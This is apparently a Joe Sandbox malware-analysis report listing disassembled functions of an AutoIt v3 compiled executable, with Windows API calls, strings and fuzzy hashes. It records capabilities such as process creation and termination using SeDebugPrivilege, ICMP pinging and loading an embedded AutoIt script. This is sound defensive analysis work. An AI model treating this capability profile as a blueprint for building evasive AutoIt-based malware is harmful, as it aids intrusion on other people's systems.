Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 7c8a4a74fe15e37516cb731fd441e1f89859f370e58bf2d5490e4eae38be6c65
Instruction ID: 1dcbf4a03430d95fcde6ff2457ae7c8383ea107952769487c8b847446c9d6602
Opcode Fuzzy Hash: 7c8a4a74fe15e37516cb731fd441e1f89859f370e58bf2d5490e4eae38be6c65
Instruction Fuzzy Hash: 82A23770608741DFD720DF14C480B6AFBE1FB89304F15899EE89A9B361E771E985CB92

Function 00C347B7 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00C1FC06), ref: 00C347C7
FindFirstFileW.KERNEL32(?,?), ref: 00C347D8
FindClose.KERNEL32(00000000), ref: 00C347E8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 90002c5fad7d1df494d2faffb7d76952374bd456fcfdbeee64a9b9b05bbc8527
Instruction ID: 87b77264bfc0adef2b3a2a4a2b6f2c3fda230f5788872cebd2083a08ae57038b
Opcode Fuzzy Hash: 90002c5fad7d1df494d2faffb7d76952374bd456fcfdbeee64a9b9b05bbc8527
Instruction Fuzzy Hash: 1EE0DF31820611AB82246739EC4D9EE379C9E07339F200B15F932D21E0EBB0AE80C696

Function 00BD94E0 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633a9dc1599a1de037d1147881a3220308a6bb045f8f48ab12f97e267583a944
Instruction ID: b5bb132d3ed5cc4a8414bd853cec5b52164dca0d94ba854dac821bbb3bab9e44
Opcode Fuzzy Hash: 633a9dc1599a1de037d1147881a3220308a6bb045f8f48ab12f97e267583a944
Instruction Fuzzy Hash: CA229A74A0420ADFDB24DF54C490AAEF7F0FF09300F1481AAE956AB351E735AD85DB91

Function 00BDBC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00BDBF57

Part of subcall function 00BD52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BD52E6

Sleep.KERNEL32(0000000A,?,?), ref: 00C135E5

Strings

CALL, xrefs: 00BDC277
@COM_EVENTOBJ, xrefs: 00C13C5E
@GUI_WINHANDLE, xrefs: 00C136F1
@GUI_CTRLHANDLE, xrefs: 00C13746
@TRAY_ID, xrefs: 00C13EFD
@GUI_CTRLID, xrefs: 00C1369C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: f386342fe351a186f9ab8a388d01954b748440ed13e962c7502da0d18fe9517d
Instruction ID: cbbf8d80aaea5536512eb3a7035ccc20cf07d51029d450bae3cf0225b8f69f61
Opcode Fuzzy Hash: f386342fe351a186f9ab8a388d01954b748440ed13e962c7502da0d18fe9517d
Instruction Fuzzy Hash: 57C2AE70608381DBD728DF24C884BAAFBE5FF85304F14495EE49A973A1D771E984DB82

Function 00BD33E5 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 70
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BD3444
RegisterClassExW.USER32(00000030), ref: 00BD346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BD347F
InitCommonControlsEx.COMCTL32(?), ref: 00BD349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BD34AC
LoadIconW.USER32(000000A9), ref: 00BD34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BD34D1

Strings

AutoIt v3 GUI, xrefs: 00BD3460
TaskbarCreated, xrefs: 00BD3474
0, xrefs: 00BD3426
+, xrefs: 00BD342D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a869db054bd04d331969992ed04fee243205199351f45ac624a4b10a314eeec7
Instruction ID: a897452dae2bfc1cc4747273f36c7e775c8cf94af4b27641226778cf607313a6
Opcode Fuzzy Hash: a869db054bd04d331969992ed04fee243205199351f45ac624a4b10a314eeec7
Instruction Fuzzy Hash: D23105B1840309EFEB508FA4DC89BDEBBF0FB09310F20455AE590E62A0D7B95581CF95

Function 00BD3411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BD3444
RegisterClassExW.USER32(00000030), ref: 00BD346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BD347F
InitCommonControlsEx.COMCTL32(?), ref: 00BD349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BD34AC
LoadIconW.USER32(000000A9), ref: 00BD34C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BD34D1

Strings

AutoIt v3 GUI, xrefs: 00BD3460
TaskbarCreated, xrefs: 00BD3474
0, xrefs: 00BD3426
+, xrefs: 00BD342D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 2d4454945a534ac9afdbe5cc435da42a3b67fc5d53ba6ea0e5bd22e8496ba5f2
Instruction ID: 3cf07b73bddd75343fc940ecaeed096ac28ab98bc1a87be674d0521340d0b66a
Opcode Fuzzy Hash: 2d4454945a534ac9afdbe5cc435da42a3b67fc5d53ba6ea0e5bd22e8496ba5f2
Instruction Fuzzy Hash: 7221CEB1911218EFEB109FA5E889BDEBBF4FB08710F20451AFA11B62E0D7B255448F95

Function 00BE2FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BEFFFA: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00BE3094), ref: 00BF0018

Part of subcall function 00BF07EC: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00BE309F), ref: 00BF080E

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00BE30E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00C2013A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00C2017B
RegCloseKey.ADVAPI32(?), ref: 00C201B9
_wcscat.LIBCMT ref: 00C20212

Strings

\Include\, xrefs: 00BE309F
\, xrefs: 00C20235
Include, xrefs: 00C20131, 00C20172
Software\AutoIt v3\AutoIt, xrefs: 00BE30D8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 3656c496acb7765f6759e5d8f51ab23f57df395026f12f74a557c3ae9e81232e
Instruction ID: 300bc07571b0acaf2daf3700d4f7adb71fd7474c51609e5ac288fd8edbe0d1cd
Opcode Fuzzy Hash: 3656c496acb7765f6759e5d8f51ab23f57df395026f12f74a557c3ae9e81232e
Instruction Fuzzy Hash: 12717C7142A741DEC714EF2AEC85A6FBBE8FF54340B600A6EF455C32A1EB709948CB51

Function 00BE514C Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00BE5156
LoadCursorW.USER32(00000000,00007F00), ref: 00BE5165
LoadIconW.USER32(00000063), ref: 00BE517C
LoadIconW.USER32(000000A4), ref: 00BE518E
LoadIconW.USER32(000000A2), ref: 00BE51A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BE51C6
RegisterClassExW.USER32(?), ref: 00BE521C

Part of subcall function 00BD3411: GetSysColorBrush.USER32(0000000F), ref: 00BD3444
Part of subcall function 00BD3411: RegisterClassExW.USER32(00000030), ref: 00BD346E
Part of subcall function 00BD3411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BD347F
Part of subcall function 00BD3411: InitCommonControlsEx.COMCTL32(?), ref: 00BD349C
Part of subcall function 00BD3411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00BD34AC
Part of subcall function 00BD3411: LoadIconW.USER32(000000A9), ref: 00BD34C2
Part of subcall function 00BD3411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00BD34D1

Strings

AutoIt v3, xrefs: 00BE520B
0, xrefs: 00BE51FA
#, xrefs: 00BE5201

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 2dfa530618348d7abce3a187c0a5013a10c4931c7449c2371ad1cd9f1bfe3878
Instruction ID: d990bec69a7dec2bf9a2ba232528cfaadf1289f78656fca7225def468e92cf67
Opcode Fuzzy Hash: 2dfa530618348d7abce3a187c0a5013a10c4931c7449c2371ad1cd9f1bfe3878
Instruction Fuzzy Hash: 44216D71D00708AFEB10DFA5EC49B9EBBF4FB08714F10416AE504A62E0D7BA6954DF84

Function 00C45BE2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00C45C43
inet_addr.WSOCK32(?,?,?), ref: 00C45C88
gethostbyname.WS2_32(?), ref: 00C45C94
IcmpCreateFile.IPHLPAPI ref: 00C45CA2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00C45D12
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00C45D28
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00C45D9D
WSACleanup.WSOCK32 ref: 00C45DA3

Strings

Ping, xrefs: 00C45CC6

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: c02cd1ce294b97efd59e6fd6891543228f84c0d8811b1bf681a63688e17b807d
Instruction ID: ec27b1c77f5829d94096e249f2ee68298dfed3b559545d3df3f4fec1223db122
Opcode Fuzzy Hash: c02cd1ce294b97efd59e6fd6891543228f84c0d8811b1bf681a63688e17b807d
Instruction Fuzzy Hash: 39518C71A047009FD721EF25DD89B2ABBE0FF48710F14496AF566AB2E2DB70ED018B41

Function 00BE4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00BE4E22
KillTimer.USER32(?,00000001), ref: 00BE4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BE4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BE4E7A
CreatePopupMenu.USER32 ref: 00BE4E8E
PostQuitMessage.USER32(00000000), ref: 00BE4EAF

Strings

TaskbarCreated, xrefs: 00BE4E75

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 7e0530e7a2e4b277c3455973fa08b8de13bf810ff17d069cf2a91516e30b12af
Instruction ID: 440c6dc1ddaf6f7af57d974ced0c566c0a3ecc69cb3071b7752a3f423f352baa
Opcode Fuzzy Hash: 7e0530e7a2e4b277c3455973fa08b8de13bf810ff17d069cf2a91516e30b12af
Instruction Fuzzy Hash: 48415C71200189ABDF296F26DC4DB7F76D5FB41300F1401EAF503A26E2DBB0AC509761

Function 00BE56F8 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00C20BDB

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

_memset.LIBCMT ref: 00BE5787
_wcscpy.LIBCMT ref: 00BE57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BE57EB
__swprintf.LIBCMT ref: 00C20C51

Strings

AutoIt - , xrefs: 00BE5760
Line %d: , xrefs: 00C20C4B
E&E&, xrefs: 00C20C15, 00C20C1E, 00C20C29, 00C20C37, 00C20C22, 00C20C2D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt - $E&E&
API String ID: 230667853-941963392
Opcode ID: 7a5cabed5e8814122dbb089b593d529040387f8348d6c379fb9e4b597831d19b
Instruction ID: 353883a2c76bad329488decef89c8626e17c9f8461644721c97c307a80bc06a0
Opcode Fuzzy Hash: 7a5cabed5e8814122dbb089b593d529040387f8348d6c379fb9e4b597831d19b
Instruction Fuzzy Hash: 1941B271008744AAC321EB65DC85FEF77ECAF44354F200A5EF195921E2EF74AA49CB92

Function 00C4FB45 Relevance: 13.9, APIs: 9, Instructions: 386
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00C4FB66
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C4FCF9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C4FD1D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C4FD5D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C4FD7F
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00C4FEFB
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00C4FF2D
CloseHandle.KERNEL32(?), ref: 00C4FF5C
CloseHandle.KERNEL32(?), ref: 00C4FFD3

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 3989191f8738edf69fc322524e6b8c7448f37ef3fd437447ad5ac8e0ceab18a2
Instruction ID: 981ed2fd3828e9b6c73da76f6cabc35c853d44b39f6b9e8c71b46ed6e3126128
Opcode Fuzzy Hash: 3989191f8738edf69fc322524e6b8c7448f37ef3fd437447ad5ac8e0ceab18a2
Instruction Fuzzy Hash: DCE1BE316043059FC724EF25C891B6EBBE1BF85310F1485ADF8999B2A2DB31ED46CB52

Function 00C4EDE4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C33FB5: CreateToolhelp32Snapshot.KERNEL32 ref: 00C33FDA
Part of subcall function 00C33FB5: Process32FirstW.KERNEL32(00000000,?), ref: 00C33FE8
Part of subcall function 00C33FB5: CloseHandle.KERNEL32(00000000), ref: 00C340B2

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C4EE55
GetLastError.KERNEL32 ref: 00C4EE68
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C4EE97
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C4EF14
GetLastError.KERNEL32(00000000), ref: 00C4EF1F
CloseHandle.KERNEL32(00000000), ref: 00C4EF54

Strings

SeDebugPrivilege, xrefs: 00C4EE73

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4a01c4164233073e4ab5a3cf1cf52079557364dd4f5ae12ff468a8b12f21f2bf
Instruction ID: 423f044ec5681c18d206a6ff7441179a4e3f102784421e3dcacf1de114f78e17
Opcode Fuzzy Hash: 4a01c4164233073e4ab5a3cf1cf52079557364dd4f5ae12ff468a8b12f21f2bf
Instruction Fuzzy Hash: FE41EB312002019FEB25EF64DC95F6EB7A1BF44310F1484A9F9025B3D2DBB5AD08CB92

Function 00BE50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BE5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BE512A
ShowWindow.USER32(00000000), ref: 00BE513E
ShowWindow.USER32(00000000), ref: 00BE5147

Strings

AutoIt v3, xrefs: 00BE5101, 00BE5106, 00BE5107
edit, xrefs: 00BE5124

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 5d9c12160f95b0266b3e25bfcbd276d390442d6ad800ac98a3b67694ca025338
Instruction ID: 50500f7992efe23d711e644e20f974a8cb1b22bdaaf73c16a72b90313d4af005
Opcode Fuzzy Hash: 5d9c12160f95b0266b3e25bfcbd276d390442d6ad800ac98a3b67694ca025338
Instruction Fuzzy Hash: 11F0D471641694BEEA311B27AC4CF2B6E7DE7C6F60F11012AB900A21F1C6A62851DAB0

Function 00C39983 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BE4A8C: _fseek.LIBCMT ref: 00BE4AA4

Part of subcall function 00C39B5E: _wcscmp.LIBCMT ref: 00C39C4E
Part of subcall function 00C39B5E: _wcscmp.LIBCMT ref: 00C39C61

_free.LIBCMT ref: 00C39ACC
_free.LIBCMT ref: 00C39AD3
_free.LIBCMT ref: 00C39B3E

Part of subcall function 00BF2EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00BF9B84,00000000,00BF8C8D,00BF58F3), ref: 00BF2EC9
Part of subcall function 00BF2EB5: GetLastError.KERNEL32(00000000,?,00BF9B84,00000000,00BF8C8D,00BF58F3), ref: 00BF2EDB

_free.LIBCMT ref: 00C39B46

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00C399FC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
